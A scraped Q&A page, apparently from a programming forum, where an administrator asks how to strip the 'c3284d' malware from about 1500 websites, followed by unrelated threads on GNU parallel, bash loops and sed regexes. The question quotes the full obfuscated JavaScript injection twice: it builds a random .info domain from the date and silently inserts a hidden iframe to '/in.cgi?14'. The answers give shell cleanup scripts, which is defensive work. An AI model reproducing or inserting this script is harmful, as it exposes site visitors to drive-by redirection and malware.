Clean server infected with c3284d malware, using shell script - bash
We have around 11 servers for a total of roughly 1500 sites infected with the c3284d malware. We want to do a shell script to replace all the code which appears to have hit html, js, and php files. They also planted a file called "p" in the user's home folder which contains a larger version of the malware.
We came across a few suggestions for find/replace but they don't appear to work for us, or we just don''t know how to do it properly.
Here's what we have so far:
for FILE in $(grep -H -r -l "c3284d" /home)
do
sed -i '/c3284d/d;/bVPbjpswEP2WWuoK/d' ${FILE}
done
This only deletes the signature of "c3284d" and not the junk that was inserted. Can someone help to fix this to erase this mess from the files. The "c3284d" usually appears on it's own line, but not always, and starts and ends with it.
Here's a few examples of what we are seeing:
<!--c3284d--><script>function dow(hit){var var1=0.0086;var1+=18;return hit}var var2=0.0165;var2+=16;function gel(str,shift){var sux,ext,var2,len,ich,pos,cnt1,var6,var4,ret,var5,var1,cnt2,sh,var3,ch,ch;var var1=0.0018;var var2=4771;var2++;var var3=0.043;var3-=18;var var2='CYBsubfX'.substr(3,3);function aal(why,thy){var var4=0.0111;var4--;return thy}var2+='QDsstrr3'.substr(3,3);var var8=7678;if(var8<25){var var6=0.0028;if(var6!=0){var var5=2108;var5++}var var7={yeh:0.0022}}var var6=25;function led(pow,nib,xis){var var9=7;var9++;return nib}var6-=9;var var10=6;var10++;var var12=0.0102;if(var12!=5){var var11=0.021;var11--}var var1='OpulenmH'.substr(3,3);var var14=0.012;if(var14!=null){var var13=12;var13-=0.0027}var1+='Msgthln'.substr(2,3);var var16=8439;if(var16<0.0142){var var15=5943;var15+=0.007}var var5=40;function lar(rad,tsk,dud){var var17=13;var17++;var var18=13;var18-=0.0199;return tsk}var5+=22;var var19=0.021;var var4='CyqfromxB'.substr(3,4);var var20=0.0058;var20++;var var22=0.0179;if(var22!=null){var var21=23;var21--}var4+='zsCharAR'.substr(2,4);var var23=0.0435;var23--;var4+='XDoCodeWm'.substr(3,4);function lug(cod){var var26=0.0038;if(var26!=26){var var24=0.037;var24+=24;var var25=2702}var var31=5244;if(var31<0.0085){var var27='voADrb8a1';var var30=5099;if(var30!=6){var var28=0.0233;var28++;var var29=null}}return cod}var var3='sF68indeOu'.substr(4,4);var var34=3367;if(var34!=0.0246){var var32=0.0089;var32++;var var33='cut'}var3+='Tq4xOfAk'.substr(3,3);var var36=0.0101;if(var36>25){var var35=0.0071;var35+=3169}var var38=13;if(var38==0){var var37=5;var37+=3684}var sux='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';var var39=0;do{var var40=4847;var40+=29;var var41=26;var41++;var39++}while(var39<7);var var42=0.0239;var42-=16;var ret='';function jot(few,hyp){var var43=null;var43-=0.0021;return hyp}var ext='';var var44=1250;var44++;var var45=0.0034;var45+=6258;var sh=0;var var46=7594;var46++;var var47=3240;var47--;var len=str[var1];var var49=3026;if(var49!=null){var var48=0.004;var48-=20}for(var cnt1=0;cnt1<len;cnt1++){var var50=14;var50+=0.013;sh+=shift;var var51=6;var51++;var var52=0.0193;var52++;var ch=str[var2](cnt1,1);var var53=0;do{var var55=7261;if(var55!=null){var var54=16;var54+=14}var var58=1404;if(var58>17){var var56=[10,0,50,30,40,20];var var57=5412;var57++}var53++}while(var53<8);var pos=sux[var3](ch);var var59=0.0262;var59++;pos+=sh;var var60=6;var60+=6;pos%=var5;for(var var61=0;var61<10;var61++){var var62=21;var62++;var var63=4887;var63-=4113}ret+=sux[var2](pos,1);var var66=0.062;if(var66>22){var var64=0;var64+=3831;var var65=0.013;var65-=11}var var67=0.0122;var67-=3665}var var68=0.017;var68++;var var69=null;var69-=0.0069;for(var cnt2=0;cnt2<len;cnt2+=2){function tub(uke,dun){var var70=0;do{var var73=5314;if(var73!=4129){var var71=0;var71+=0.0322;var var72=false}var70++}while(var70<7);var var74=0.0238;var74-=6514;return uke}var var75=17;var75-=21;var ch=ret[var2](cnt2,2);function cue(ton){var var78=0.003;if(var78==28){var var76=0;var76+=7;var var77=0.0089;var77--}return ton}var ich=parseInt(ch,var6);var var79=0;while(var79<7){var var81=6374;if(var81!=0.0126){var var80=0.003;var80+=1176}var79++}ext+=String[var4](ich);function gun(sub,vug){var var82=0.005;var82--;var var83=null;return sub}var var84=10;var84--}function ree(ban,set){var var89=0.0136;if(var89<0){var var86=11;if(var86<4930){var var85=0;var85-=4954}var var88=5;if(var88<0){var var87=8525;var87--}}return ban}return ext}var var3=0;var3-=6479;for(var var4=0;var4<10;var4++){var var5=7;var5+=26}function ulu(){var hi,test,lo;function bid(pah){var var9=0.0011;if(var9==19){var var7=1393;if(var7==0.017){var var3=19;if(var3==null){var var2=7;if(var2!=3669){var var1=[21,42,28,0,35,7,14]}}var var6=0.005;if(var6!=5605){var var4=0.028;var4-=10;var var5=0.0145;var5+=0.004}}var var8=['the','eft','mas']}return pah}var var10=18;var10--;var var11=5110;var11--;var var14=0.014;if(var14==null){var var12=1537;var12--;var var13=0.012;var13--}var hi=this.seed/this.Q;function cos(wag){var var15='hum';var var16=['teg','yod'];return wag}function yew(tat){var var17=0.0109;var17-=3465;return tat} var lo=this.seed%this.Q;function dee(pht,oxy){for(var var18=0;var18<4;var18++){var var22=0.0152;if(var22==null){var var20=3229;if(var20>14){var var19=1941}var var21='zh4pMCYB'}}return oxy}var var25=5109;if(var25>4261){var var23=0;var var24='mho'} var test=this.A*lo-this.R*hi;var var26=0.011;var26-=7383; if(test>0){var var27=null;var27-=2995;for(var var28=0;var28<8;var28++){var var30=0.0056;if(var30!=19){var var29=0;var29+=0.013}var var31=26;var31++} this.seed=test;var var32=0;while(var32<4){var var33=27;var33--;var32++}var var35=2510;if(var35<null){var var34='lwxSFm8TI'}}else{var var38=8;if(var38==29){var var36=0.017;var36--;var var37=13;var37--}var var39=2605; this.seed=test+this.M;var var40=25;var40-=5704;var var41={wit:2288}}var var42=0.018;var42-=0.0047; return(this.seed*this.oneOverM)}var var6=null;var6-=6649;var var8=2139;if(var8!=0.0176){var var7=10;var7++}function jig(unix){var s,var1,d,var3,var2;function lac(net,dam,sap){var var11=29;if(var11!=5171){var var6=0.002;if(var6<15){var var4=20;var4-=8;var var5=0.035;var5--}var var10=11;if(var10==2581){var var8=18;if(var8>10){var var7=null;var7-=2355}var var9=10;var9++}}return net}var var3=4775;var var13=30;if(var13<23){var var12=9;var12++}var var14=0;do{var var15=0.0147;var var16=0;var14++}while(var14<7);var3-=680;var var19=8044;if(var19==0.0096){var var17=0.0015;var17-=0.009;var var18=22;var18++}var var20={pix:['pip','tor','lob']};var var2=120523;var var23=0.029;if(var23<4713){var var21=6;var21--;var var22=0.004;var22++}var var24=2304;var24--;var2-=54988;var var25=false;var var26=4364;var26++;var var1=17722082;var var27=true;var1-=944867;var var28='den';var d=new Date(unix*1000);var var29=null;var29-=13; var s=Math.ceil(d.getHours()/3);function feu(fas,cry){var var31=5835;if(var31==0){var var30=2916}return fas} this.seed=2345678901+(d.getMonth()*var1)+(d.getDate()*var2)+(Math.round(s*var3));var var33=0.008;if(var33>9){var var32=0.009;var32-=2790} this.A=48271;var var34=5222;var34+=1338; this.M=2147483647;var var35={top:['sue','ras']}; this.Q=this.M/this.A;var var36='pjNgzb'; this.R=this.M%this.A;var var37=7112;var37--; this.oneOverM=1.0/this.M;var var38=0;do{var var39=5708;var39++;var var41=9;if(var41==0.007){var var40=3570;var40++}var38++}while(var38<3); this.next=ulu;var var43=16;if(var43==7569){var var42=1355}var var44=false; return this}var var11=18;if(var11==0){var var9=0.006;var var10=30;var10--}function hot(dub,jut){var var12='FtjKdH6DTi';var var13=28;var13++;return dub}function bum(r,Min,Max){function arc(vac,hat){var var1=13;var1+=6807;return hat}var var2=0.031;var2--;return Math.round((Max-Min)*r.next()+Min)}var var14=0;do{var var15=['pit','men'];var var16=0;var14++}while(var14<4);function dap(unix,length,zone){var i,rand,letters,str;var var1=0;do{var var2=7902;var1++}while(var1<4);var var3=1574;var3++;var var4=0;do{var var5=5140;var5+=0.007;var var6=null;var6-=0.0061;var4++}while(var4<6);function lap(eth,wyn){var var7=0.002;var7--;return wyn}var rand=new jig(unix);var var10=0.0204;if(var10>8){var var8=0.01;var var9=0.0068} var letters='qmahgwctopfjilrfpjrfcwgewheizwdw'.split('');var var11=8091;var var12=['del','rec','jam']; var str='';var var19=22;if(var19!=8632){var var15=24;if(var15>0.0187){var var13=4820;var13-=14;var var14=4205;var14--}var var18=7248;if(var18!=null){var var16=0.0077;var16+=8095;var var17=3411;var17--}}for(var i=0; i<length; i++){var var20='yjVL6qKWtZ'; str+=letters[bum(rand, 0, letters.length-1)];var var21={gob:28}}function bar(dey,fay){var var22=0.0039;var22-=7259;var var24=23;if(var24==0){var var23='tab'}return dey}var var25='UhRKMl5V'; return str+'.'+zone}for(var var17=0;var17<3;var17++){var var18=['how','tar'];var var19=0;var19-=5692}var var20=0;do{var var21=6868;var21++;var var22=0.002;var22++;var20++}while(var20<7);setInterval(function(){var var23=4845;var var24=0.0149;var24++; try{var var27=10;if(var27>null){var var25=0.011;var25--;var var26=0.025;var26+=0.003} if(typeof iframeWasCreated=='undefined'){var var28=0.016;var28+=7624;var var29=12; var unix=Math.round(+new Date()/1000);var var30=0.0044;var30+=0.007; var domainName=dap(unix, 16, 'info');var var31=29;var31+=5759; ifrm=document.createElement('i'+'frame'); function roe(mae,you,bam){var var32=0;do{var var33=[18,45,27,9,36,0];var32++}while(var32<6);var var34=7886;return bam} ifrm.setAttribute('src', 'http://'+domainName+'/in.cgi?14'); var var35='je5Bx_40z'; ifrm.style.width='10px'; var var36=4376;var36+=2797; ifrm.style.height='10px'; var var37=7287;var37--;function nor(lop){var var38={dig:4393};return lop} ifrm.style.visibility='hidden'; var var41=17;if(var41>1540){var var39=[0,18,12,6];var var40=12;var40+=0.016} document.body.appendChild(ifrm);var var43=0.0437;if(var43==0.0087){var var42=0.002}var var44=2082;var44-=0.0189;iframeWasCreated=true;var var45=false}var var48=0.008;if(var48==7526){var var46=8527;var46--;var var47=5186;var47--}for(var var49=0;var49<8;var49++){var var50=false}}catch(e){iframeWasCreated=undefined}var var51=0.0135;var51+=1355;var var52=0.0019;var52++}, 100);</script><!--/c3284d-->
/*c3284d*/
function dow(hit){var var1=0.0086;var1+=18;return hit}var var2=0.0165;var2+=16;function gel(str,shift){var sux,ext,var2,len,ich,pos,cnt1,var6,var4,ret,var5,var1,cnt2,sh,var3,ch,ch;var var1=0.0018;var var2=4771;var2++;var var3=0.043;var3-=18;var var2='CYBsubfX'.substr(3,3);function aal(why,thy){var var4=0.0111;var4--;return thy}var2+='QDsstrr3'.substr(3,3);var var8=7678;if(var8<25){var var6=0.0028;if(var6!=0){var var5=2108;var5++}var var7={yeh:0.0022}}var var6=25;function led(pow,nib,xis){var var9=7;var9++;return nib}var6-=9;var var10=6;var10++;var var12=0.0102;if(var12!=5){var var11=0.021;var11--}var var1='OpulenmH'.substr(3,3);var var14=0.012;if(var14!=null){var var13=12;var13-=0.0027}var1+='Msgthln'.substr(2,3);var var16=8439;if(var16<0.0142){var var15=5943;var15+=0.007}var var5=40;function lar(rad,tsk,dud){var var17=13;var17++;var var18=13;var18-=0.0199;return tsk}var5+=22;var var19=0.021;var var4='CyqfromxB'.substr(3,4);var var20=0.0058;var20++;var var22=0.0179;if(var22!=null){var var21=23;var21--}var4+='zsCharAR'.substr(2,4);var var23=0.0435;var23--;var4+='XDoCodeWm'.substr(3,4);function lug(cod){var var26=0.0038;if(var26!=26){var var24=0.037;var24+=24;var var25=2702}var var31=5244;if(var31<0.0085){var var27='voADrb8a1';var var30=5099;if(var30!=6){var var28=0.0233;var28++;var var29=null}}return cod}var var3='sF68indeOu'.substr(4,4);var var34=3367;if(var34!=0.0246){var var32=0.0089;var32++;var var33='cut'}var3+='Tq4xOfAk'.substr(3,3);var var36=0.0101;if(var36>25){var var35=0.0071;var35+=3169}var var38=13;if(var38==0){var var37=5;var37+=3684}var sux='0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';var var39=0;do{var var40=4847;var40+=29;var var41=26;var41++;var39++}while(var39<7);var var42=0.0239;var42-=16;var ret='';function jot(few,hyp){var var43=null;var43-=0.0021;return hyp}var ext='';var var44=1250;var44++;var var45=0.0034;var45+=6258;var sh=0;var var46=7594;var46++;var var47=3240;var47--;var len=str[var1];var var49=3026;if(var49!=null){var var48=0.004;var48-=20}for(var cnt1=0;cnt1<len;cnt1++){var var50=14;var50+=0.013;sh+=shift;var var51=6;var51++;var var52=0.0193;var52++;var ch=str[var2](cnt1,1);var var53=0;do{var var55=7261;if(var55!=null){var var54=16;var54+=14}var var58=1404;if(var58>17){var var56=[10,0,50,30,40,20];var var57=5412;var57++}var53++}while(var53<8);var pos=sux[var3](ch);var var59=0.0262;var59++;pos+=sh;var var60=6;var60+=6;pos%=var5;for(var var61=0;var61<10;var61++){var var62=21;var62++;var var63=4887;var63-=4113}ret+=sux[var2](pos,1);var var66=0.062;if(var66>22){var var64=0;var64+=3831;var var65=0.013;var65-=11}var var67=0.0122;var67-=3665}var var68=0.017;var68++;var var69=null;var69-=0.0069;for(var cnt2=0;cnt2<len;cnt2+=2){function tub(uke,dun){var var70=0;do{var var73=5314;if(var73!=4129){var var71=0;var71+=0.0322;var var72=false}var70++}while(var70<7);var var74=0.0238;var74-=6514;return uke}var var75=17;var75-=21;var ch=ret[var2](cnt2,2);function cue(ton){var var78=0.003;if(var78==28){var var76=0;var76+=7;var var77=0.0089;var77--}return ton}var ich=parseInt(ch,var6);var var79=0;while(var79<7){var var81=6374;if(var81!=0.0126){var var80=0.003;var80+=1176}var79++}ext+=String[var4](ich);function gun(sub,vug){var var82=0.005;var82--;var var83=null;return sub}var var84=10;var84--}function ree(ban,set){var var89=0.0136;if(var89<0){var var86=11;if(var86<4930){var var85=0;var85-=4954}var var88=5;if(var88<0){var var87=8525;var87--}}return ban}return ext}var var3=0;var3-=6479;for(var var4=0;var4<10;var4++){var var5=7;var5+=26}function ulu(){var hi,test,lo;function bid(pah){var var9=0.0011;if(var9==19){var var7=1393;if(var7==0.017){var var3=19;if(var3==null){var var2=7;if(var2!=3669){var var1=[21,42,28,0,35,7,14]}}var var6=0.005;if(var6!=5605){var var4=0.028;var4-=10;var var5=0.0145;var5+=0.004}}var var8=['the','eft','mas']}return pah}var var10=18;var10--;var var11=5110;var11--;var var14=0.014;if(var14==null){var var12=1537;var12--;var var13=0.012;var13--}var hi=this.seed/this.Q;function cos(wag){var var15='hum';var var16=['teg','yod'];return wag}function yew(tat){var var17=0.0109;var17-=3465;return tat} var lo=this.seed%this.Q;function dee(pht,oxy){for(var var18=0;var18<4;var18++){var var22=0.0152;if(var22==null){var var20=3229;if(var20>14){var var19=1941}var var21='zh4pMCYB'}}return oxy}var var25=5109;if(var25>4261){var var23=0;var var24='mho'} var test=this.A*lo-this.R*hi;var var26=0.011;var26-=7383; if(test>0){var var27=null;var27-=2995;for(var var28=0;var28<8;var28++){var var30=0.0056;if(var30!=19){var var29=0;var29+=0.013}var var31=26;var31++} this.seed=test;var var32=0;while(var32<4){var var33=27;var33--;var32++}var var35=2510;if(var35<null){var var34='lwxSFm8TI'}}else{var var38=8;if(var38==29){var var36=0.017;var36--;var var37=13;var37--}var var39=2605; this.seed=test+this.M;var var40=25;var40-=5704;var var41={wit:2288}}var var42=0.018;var42-=0.0047; return(this.seed*this.oneOverM)}var var6=null;var6-=6649;var var8=2139;if(var8!=0.0176){var var7=10;var7++}function jig(unix){var s,var1,d,var3,var2;function lac(net,dam,sap){var var11=29;if(var11!=5171){var var6=0.002;if(var6<15){var var4=20;var4-=8;var var5=0.035;var5--}var var10=11;if(var10==2581){var var8=18;if(var8>10){var var7=null;var7-=2355}var var9=10;var9++}}return net}var var3=4775;var var13=30;if(var13<23){var var12=9;var12++}var var14=0;do{var var15=0.0147;var var16=0;var14++}while(var14<7);var3-=680;var var19=8044;if(var19==0.0096){var var17=0.0015;var17-=0.009;var var18=22;var18++}var var20={pix:['pip','tor','lob']};var var2=120523;var var23=0.029;if(var23<4713){var var21=6;var21--;var var22=0.004;var22++}var var24=2304;var24--;var2-=54988;var var25=false;var var26=4364;var26++;var var1=17722082;var var27=true;var1-=944867;var var28='den';var d=new Date(unix*1000);var var29=null;var29-=13; var s=Math.ceil(d.getHours()/3);function feu(fas,cry){var var31=5835;if(var31==0){var var30=2916}return fas} this.seed=2345678901+(d.getMonth()*var1)+(d.getDate()*var2)+(Math.round(s*var3));var var33=0.008;if(var33>9){var var32=0.009;var32-=2790} this.A=48271;var var34=5222;var34+=1338; this.M=2147483647;var var35={top:['sue','ras']}; this.Q=this.M/this.A;var var36='pjNgzb'; this.R=this.M%this.A;var var37=7112;var37--; this.oneOverM=1.0/this.M;var var38=0;do{var var39=5708;var39++;var var41=9;if(var41==0.007){var var40=3570;var40++}var38++}while(var38<3); this.next=ulu;var var43=16;if(var43==7569){var var42=1355}var var44=false; return this}var var11=18;if(var11==0){var var9=0.006;var var10=30;var10--}function hot(dub,jut){var var12='FtjKdH6DTi';var var13=28;var13++;return dub}function bum(r,Min,Max){function arc(vac,hat){var var1=13;var1+=6807;return hat}var var2=0.031;var2--;return Math.round((Max-Min)*r.next()+Min)}var var14=0;do{var var15=['pit','men'];var var16=0;var14++}while(var14<4);function dap(unix,length,zone){var i,rand,letters,str;var var1=0;do{var var2=7902;var1++}while(var1<4);var var3=1574;var3++;var var4=0;do{var var5=5140;var5+=0.007;var var6=null;var6-=0.0061;var4++}while(var4<6);function lap(eth,wyn){var var7=0.002;var7--;return wyn}var rand=new jig(unix);var var10=0.0204;if(var10>8){var var8=0.01;var var9=0.0068} var letters='qmahgwctopfjilrfpjrfcwgewheizwdw'.split('');var var11=8091;var var12=['del','rec','jam']; var str='';var var19=22;if(var19!=8632){var var15=24;if(var15>0.0187){var var13=4820;var13-=14;var var14=4205;var14--}var var18=7248;if(var18!=null){var var16=0.0077;var16+=8095;var var17=3411;var17--}}for(var i=0; i<length; i++){var var20='yjVL6qKWtZ'; str+=letters[bum(rand, 0, letters.length-1)];var var21={gob:28}}function bar(dey,fay){var var22=0.0039;var22-=7259;var var24=23;if(var24==0){var var23='tab'}return dey}var var25='UhRKMl5V'; return str+'.'+zone}for(var var17=0;var17<3;var17++){var var18=['how','tar'];var var19=0;var19-=5692}var var20=0;do{var var21=6868;var21++;var var22=0.002;var22++;var20++}while(var20<7);setInterval(function(){var var23=4845;var var24=0.0149;var24++; try{var var27=10;if(var27>null){var var25=0.011;var25--;var var26=0.025;var26+=0.003} if(typeof iframeWasCreated=='undefined'){var var28=0.016;var28+=7624;var var29=12; var unix=Math.round(+new Date()/1000);var var30=0.0044;var30+=0.007; var domainName=dap(unix, 16, 'info');var var31=29;var31+=5759; ifrm=document.createElement('i'+'frame'); function roe(mae,you,bam){var var32=0;do{var var33=[18,45,27,9,36,0];var32++}while(var32<6);var var34=7886;return bam} ifrm.setAttribute('src', 'http://'+domainName+'/in.cgi?14'); var var35='je5Bx_40z'; ifrm.style.width='10px'; var var36=4376;var36+=2797; ifrm.style.height='10px'; var var37=7287;var37--;function nor(lop){var var38={dig:4393};return lop} ifrm.style.visibility='hidden'; var var41=17;if(var41>1540){var var39=[0,18,12,6];var var40=12;var40+=0.016} document.body.appendChild(ifrm);var var43=0.0437;if(var43==0.0087){var var42=0.002}var var44=2082;var44-=0.0189;iframeWasCreated=true;var var45=false}var var48=0.008;if(var48==7526){var var46=8527;var46--;var var47=5186;var47--}for(var var49=0;var49<8;var49++){var var50=false}}catch(e){iframeWasCreated=undefined}var var51=0.0135;var51+=1355;var var52=0.0019;var52++}, 100);
/*/c3284d*/
well in 2 stages this is achievable
in above example there was 2 occurances ? for 2 delit is called 3 times (to catch last instance of it) how ever many instances + 1 times delit needs to be called within the bottom of for loop
cd webpath;
grep -r c3284d *|awk -F":" '{print $1}'|grep -v fix.sh|sort|uniq > infected.txt
./fix.sh infected.txt
this is all the files in infected.txt now fixed
this is actual scipt
fixit.sh
#!/bin/bash
inputfile=$1;
pattern1='c3284d';
pattern2='c3284e';
function addreturn() {
in1="<!--c3284d-->"
out1="
c3284d
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
in1="<!--/c3284d-->"
out1="
c3284d
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
in1="/*c3284d*/"
out1="
c3284e
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
in1="/*/c3284d*/"
out1="
c3284e
";
in=$in1 out=$out1 perl -pi.nk -e 's/\Q$ENV{"in"}/$ENV{"out"}/g' $file
}
function delit () {
echo "Working on $file"
delids=`egrep -n "($pattern)" $file|awk -F":" '{print $1}'|tr "\n" " "`
echo $delids;
delarray=( $delids )
val1=${delarray[0]}
val2=${delarray[1]}
if [ "$val2" == "" ]; then
val2=`expr $val1 + 1`
fi
doit=$val1","$val2"d"
ed -s $file << EOF
$doit
.
w
q
EOF
}
for file in `cat $inputfile`
do
addreturn;
pattern=$pattern1
delit;
pattern=$pattern2;
delit;
done
E2A - WARNING this is using ed to find the line numbers of instances and then actually edit file live and remove between the lines so please backup your content before attempting this
16th Sunday
I tested the old script again this time I put text withineach of the cp3842 and found it was removing text or content between the first call and second call.
Script has now been updated above, I have done some replacing of the tags and inserted extra carriage returns, the reason content between first call 2nd call went missing was due to me doing a -- on val2. This now splits first chunk as original id, the second chunk as cp384e changes d to e then does a delit twice depending on pattern.
This does work I have tested it
$ cp ../test1.pp ./
$ grep -n c3284d test1.pp |awk '{print $1}'
3:<!--c3284d--><script>function
8:/*c3284d*/
10:/*/c3284d*/
$ grep -n AAA test1.pp
1:AAAAAAAAAAAAAAAA
2:AAAAAAAAAAAAAAA
$ grep -n BBB test1.pp
5:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
6:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
$ grep -n CCC test1.pp
11:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
12:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
$ ./fix1.sh infected.txt
Working on test1.pp
4 6
Working on test1.pp
10 14
$ grep -n c3284d test1.pp |awk '{print $1}'
$ grep -n AAA test1.pp
1:AAAAAAAAAAAAAAAA
2:AAAAAAAAAAAAAAA
$ grep -n BBB test1.pp
6:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
7:BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB
$ grep -n CCC test1.pp
11:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
12:CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
$
You could remove all the lines between the occurrences of c3284d:
find /home -type f -exec sed -i '/c3284d/,/c3284d/ d' {} \;
This will not only remove the lines containing c3284d, but also the lines between them.
Related
How to parallel process a function, with loops
So I have this function, I want this function to run everything that It contains in itself at the same time. So far it isn't working, and according to other sources, this is how you do it. The function itself works if its not in parallel.
#!/bin/bash
foo () {
cd ${HOME}/sh/path/to/script/execute
for f in *.sh; do #goes to "execute" directory and executes all
#scripts the current directory "execute" basically run-parts without cron
cd ~/sh/path/to/script
while IFS= read -r l1 #Line 1 in master.txt
IFS= read -r l2 #Line 2 in master.txt
IFS= read -r l3 #Line 3 in master.txt
do
cd /dev/shm/arb
echo ${l1} > arg.txt & echo ${l2} > arg2.txt & echo ${l3} > arg3.txt
cd ${HOME}/sh/path/to/script/execute
bash -H ${f} #executes all scripts inside "execute" folder
cd ~/sh/path/to/script/here
./here.sh &
cd ~/sh/path/to/script &
done <master.txt
done
}
export -f foo
parallel ::: foo
Results in
#No result at all....., just buffers. htop doesn't acknowledge any
#processes, and when this runs its pretty taxing on the cores.
master.txt content
In case this is relevant:
apple_fruit
apple_veggie
veggie_fruit
#apple changes
pear_fruit
pear_veggie
veggie_fruit
#pear changes
cucumber_fruit
...
I'm very new to using parallel, and don't know how it works in advanced(and basic) situations so would the loops interfere? And if it does interfere, is there a workaround?
The result is probably going to be something like:
inner() {
script="$1"
parallel -N3 "'$script' {}; here.sh {}" :::: master.txt
}
export -f inner
parallel inner ::: ${HOME}/sh/path/to/script/execute/*.sh
This will call each of the scripts in ${HOME}/sh/path/to/script/execute/ (and here.sh) with 3 arguments from master.txt like this:
${HOME}/sh/path/to/script/execute/script1.sh apple_fruit apple_veggie veggie_fruit
You need to change the scripts so that:
They get the arguments from the command line (not from arg.txt, arg2.txt, arg3.txt).
They send their output to stdout
bash for script and input parameter
Can anyone help me to modify my script. Because it does not work. Here are three scripts. 1) pb.sh, use delphicpp_release software to read the 1brs.ab.sh and will give the output as 1brs.ab.out 2) 1brs.ab.sh, use for input parameter where a.sh(another script for protein structure), chramm.siz, charmm.crg are file for atom size and charge etc. rest of the parameters for run the delphicpp_release software. 3) a.sh, use for read several protein structures, which will be in the same directory. my script_1 = pb.sh: ./delphicpp_release 1brs.ab.sh >1brs.ab.out echo PB-Energy-AB = $(grep -oP '(?<=Energy> Corrected:).*' 1brs.ab.out) >>PB-energy.dat cat PB-energy.dat script_2 = 1brs.ab.sh: in(pdb,file="a.sh") in(siz,file="charmm.siz") in(crg,file="charmm.crg") perfil=70 scale=2.0 indi=4 exdi=80.0 prbrad=1.4 salt=0.15 bndcon=2 maxc=0.0001 linit=800 energy(s) script_3 = a.sh: for i in $(seq 90000 20 90040); do $i.pdb done
As we don't know what software is, something like
for ((i=90000;i<=100000;i+=20)); do
./software << " DATA_END" > 1brs.$i.a.out
scale=2.0
in(pdb,file="../$i.ab.pdb")
in(siz,file="charmm.siz")
in(crg,file="charmm.crg")
indi=z
exdi=x
prbrad=y
DATA_END
echo Energy-A = $(grep -oP '(?<=Energy>:).*' 1brs.$i.a.out) >>PB-energy.dat
done
A more POSIX shell compliant version
i=90000
while ((i<=100000)); do
...
((i+=20));
done
EDIT: Without heredoc
{
echo 'scale=2.0'
echo 'in(pdb,file="../'"$i"'.ab.pdb")'
echo 'in(siz,file="charmm.siz")'
echo 'in(crg,file="charmm.crg")'
echo 'indi=z'
echo 'exdi=x'
echo 'prbrad=y'
} > $i.ab.sh
./software <$i.ab.sh >$i.ab.out
but as question was changed I'm not sure to understand it.
Regex in sed to match a subpath in a path with capturing groups
I have a list of dictionaries, made by two files named index with extension {aff,dic} like
dictionaries/dictionaries/bg_BG/index.dic
dictionaries/dictionaries/ca_ES/index.dic
dictionaries/dictionaries/cs_CZ/index.dic
dictionaries/dictionaries/da_DK/index.dic
...
dictionaries/dictionaries/bg_BG/index.aff
dictionaries/dictionaries/ca_ES/index.aff
dictionaries/dictionaries/cs_CZ/index.aff
dictionaries/dictionaries/da_DK/index.aff
and I want to copy them in a different folder, but naming each of the by the subpath like it_IT in order to have
myDicts/it_IT.dic
myDicts/it_IT.acc
I came out with this inline
for file in dictionaries/dictionaries/**/*.{dic,aff}; do echo ${file}; done
that lists the files in these folders, having in $file the for...loop variable dictionaries/dictionaries/da_DK/index.aff.
So using sed I was able to selected (in exclusion) those patterns like
sed 's:[a-z][a-z][_-][A-Z][A-Z]::';
so having
for file in dictionaries/dictionaries/**/*.{dic,aff}; do echo ${file} | sed 's:[a-z][a-z][_-][A-Z][A-Z]::'; done
that this time will print out
dictionaries/dictionaries//index.dic
dictionaries/dictionaries//index.dic
dictionaries/dictionaries//index.dic
...
dictionaries/dictionaries//index.aff
dictionaries/dictionaries//index.aff
dictionaries/dictionaries//index.aff
For my understanding I know that sed to print out the capture group needs to specify the captured group and the non capturing part - see here
But I was not able to figure out how to achieve this in order to have in $file at the end
bg_BG.acc
ca_ES.acc
da_DK.acc
...
bg_BG.dic
ca_ES.dic
da_DK.dic
where the extension {acc,dic} should be added as well.
I need to execute this command inline for scripting reasons.
[UPDATE]
Thanks to the answer below I came out with this solution
for file in dictionaries/dictionaries/**/*.{dic,aff}; do echo $file | sed 's:.*\([a-z][a-z][_-][A-Z][A-Z]\)/index\(.*\):cp & myDicts/\1\2:' | sh; done
that does its job:
$ ls myDicts/
bg_BG.aff cs_CZ.aff de_AT.aff de_DE.aff en_AU.aff en_GB.aff en_ZA.aff eu_ES.aff gl_ES.aff it_IT.aff mn_MN.aff nl_NL.aff pl_PL.aff pt_PT.aff ru_RU.aff sl_SI.aff sv_SE.aff uk_UA.aff
bg_BG.dic cs_CZ.dic de_AT.dic de_DE.dic en_AU.dic en_GB.dic en_ZA.dic eu_ES.dic gl_ES.dic it_IT.dic mn_MN.dic nl_NL.dic pl_PL.dic pt_PT.dic ru_RU.dic sl_SI.dic sv_SE.dic uk_UA.dic
ca_ES.aff da_DK.aff de_CH.aff el_GR.aff en_CA.aff en_US.aff es_ES.aff fr_FR.aff hr_HR.aff lb_LU.aff nb_NO.aff nn_NO.aff pt_BR.aff ro_RO.aff sk_SK.aff sr_RS.aff tr-TR.aff vi_VN.aff
ca_ES.dic da_DK.dic de_CH.dic el_GR.dic en_CA.dic en_US.dic es_ES.dic fr_FR.dic hr_HR.dic lb_LU.dic nb_NO.dic nn_NO.dic pt_BR.dic ro_RO.dic sk_SK.dic sr_RS.dic tr-TR.dic vi_VN.dic
There is only one pitfall that is it does not capture these path patterns
dictionaries/dictionaries/ca_ES-valencia/
dictionaries/dictionaries/sr_RS-Latn
dictionaries/dictionaries/ca_ES-valencia/
dictionaries/dictionaries/sr_RS-Latn/
